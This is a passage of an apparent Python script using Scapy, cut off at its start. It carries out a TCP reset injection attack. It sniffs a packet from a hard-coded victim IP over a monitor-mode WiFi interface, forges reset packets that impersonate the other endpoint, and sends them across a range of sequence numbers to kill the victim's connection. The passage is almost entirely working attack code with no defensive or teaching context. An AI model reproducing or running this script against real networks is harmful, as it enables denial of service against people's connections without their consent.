win=512 tcp_rst_count = 10 victim_ip = "192.168.1.1" your_iface = "mon0" # get a tcp packet by sniffing WiFi t = sniff(iface=your_iface, count=1, lfilter=lambda x: x.haslayer(TCP) and x[IP].src == victim_ip) t = t[0] tcpdata = { 'src': t[IP].src, 'dst': t[IP].dst, 'sport': t[TCP].sport, 'dport': t[TCP].dport, 'seq': t[TCP].seq, 'ack': t[TCP].ack } max_seq = tcpdata['ack'] + tcp_rst_count * win seqs = range(tcpdata['ack'], max_seq, int(win / 2)) p = IP(src=tcpdata['dst'], dst=tcpdata['src']) / \ TCP(sport=tcpdata['dport'], dport=tcpdata['sport'], flags="R", window=win, seq=seqs[0]) for seq in seqs: p.seq = seq send(p, verbose=0, iface=your_iface) print(mColor.success('tcp reset attack finish'))